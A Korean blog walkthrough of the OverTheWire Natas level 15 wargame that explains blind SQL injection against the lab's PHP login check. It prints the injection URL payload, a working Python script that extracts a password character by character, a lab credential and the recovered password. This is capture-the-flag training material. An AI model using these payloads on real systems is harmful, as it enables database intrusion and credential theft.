OverTheWire: Natas level15
OverTheWire 문제풀이 - Natas
* Bandit는 웹 보안 관련 문제입니다.
* 개인적인 문제풀이로 해답을 보시기 전에 직접 풀어보시기를 권해드립니다.
* 반드시 연습용으로 제공된 환경에서만 작업하시기 바랍니다. 악용으로 일어난 사태는 절대로 책임지지 않습니다.
Natas level15
Natas15에 접속하면 다음과 같은 화면을 볼 수 있다.
아무거나 입력했을 때 아래와 같이 유저가 존재하지 않는다고 출력된다. 무슨 뜻인지 코드를 살펴 보자.
[View sourcecode]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | <? /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); } else { ?> | cs |
sql query 로 db에 입력한 username의 유저가 존재하면 This user exists , 없으면 This user doesn't exist 문구를 출력하도록 되어 있다.
우리가 알고자 하는 정보는 natas16의 패스워드인데 일반적인 sql injection 으로는 정보를 얻을 수 없어 보인다. 소스보기에서 3번 구문을 통해 users 라는 table에 password 컬럼이 존재한다는 것을 알 수 있다. 이를 통해 blind sql injection 로 password 컬럼에 담긴 문자열 하나하나씩을 얻을 수 있을 것이다. blind sql injection 은 참과 거짓을 통해 보이지 않는 정보를 얻는 공격을 말한다.
[문제 풀이]
먼저 blind sql injection이 제대로 먹히는지 확인해 봐야 한다. 우리가 얻고자 하는 패스워드는 natas16 의 패스워드이므로 natas16 네임의 유저가 존재하는지 확인할 필요가 있다. 입력창에 natas16을 입력해보면 유저가 존재한다고 나온다. 그렇다면 users table에 username 컬럼에는 natas16, password 컬럼에는 패스워드가 담긴 라인을 찾아야 한다. 다음과 같이 query 문을 짜서 url에 입력해 보자.
?username=natas16"+and+substr((select+username+from+users+limit+1%2C1)%2C1%2C7)="natas16
위와 같이 substr 문을 사용해서 users 테이블에서 username 내용이 natas16인 것을 찾을 수 있다. +는 공백, %2C는 ,(컴마)를 나타낸다. limit 1,1...limit 2,1...limit 3,1... 이런식으로 반복 입력해서 natas16이 들어 있는 라인을 찾아낸다. 알맞은 라인 값을 넣으면 참인 결과가 나올 것이다.
반복 입력하다 보면 3번째 라인에 natas16 정보가 담겨 있는 것을 알 수 있다. 그렇다면 users 테이블의 같은 라인인 3번 라인에 natas16에 대한 패스워드 값이 담겨져 있을 것이다. 이를 이용해서 파이썬으로 자동화 프로그래밍을 작성할 수 있다.
[소스 코드]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | import socket key='' for i in range(1, 33): for k in range(48, 123): if 58 <= k <= 64: continue if 91 <= k <= 96: continue # 58~64, 91~96 아스키코드는 특수문자라 필요없으므로 제외한다. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(("176.9.9.172", 80)) header = "POST /index.php?username=natas16\"+" header += "and+ascii%28substr%28%28select+password+from+users+" header += "limit+3%2C1%29%2C"+str(i)+"%2C1%29%29=\""+str(k)+" " header += "HTTP/1.1\r\n" header += "Authorization:Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg==\r\n" header += "Host:natas15.natas.labs.overthewire.org\r\n" header += "\r\n" sock.send(header.encode()) response = sock.recv(1500) response = response.decode() if "This user exists." in response: key += chr(k) print(key) break | cs |
[컴파일 결과]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | W Wa WaI WaIH WaIHE WaIHEa WaIHEac WaIHEacj WaIHEacj6 WaIHEacj63 WaIHEacj63w WaIHEacj63wn WaIHEacj63wnN WaIHEacj63wnNI WaIHEacj63wnNIB WaIHEacj63wnNIBR WaIHEacj63wnNIBRO WaIHEacj63wnNIBROH WaIHEacj63wnNIBROHe WaIHEacj63wnNIBROHeq WaIHEacj63wnNIBROHeqi WaIHEacj63wnNIBROHeqi3 WaIHEacj63wnNIBROHeqi3p WaIHEacj63wnNIBROHeqi3p9 WaIHEacj63wnNIBROHeqi3p9t WaIHEacj63wnNIBROHeqi3p9t0 WaIHEacj63wnNIBROHeqi3p9t0m WaIHEacj63wnNIBROHeqi3p9t0m5 WaIHEacj63wnNIBROHeqi3p9t0m5n WaIHEacj63wnNIBROHeqi3p9t0m5nh WaIHEacj63wnNIBROHeqi3p9t0m5nhm WaIHEacj63wnNIBROHeqi3p9t0m5nhmh >>> | cs |
next level password : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
'War Game > natas' 카테고리의 다른 글
OverTheWire: Natas level14 (0) | 2017.07.20 |
---|---|
OverTheWire: Natas level13 (0) | 2017.07.20 |
OverTheWire: Natas level12 (0) | 2017.07.14 |
OverTheWire: Natas level11 (0) | 2017.07.12 |
OverTheWire: Natas level10 (0) | 2017.07.12 |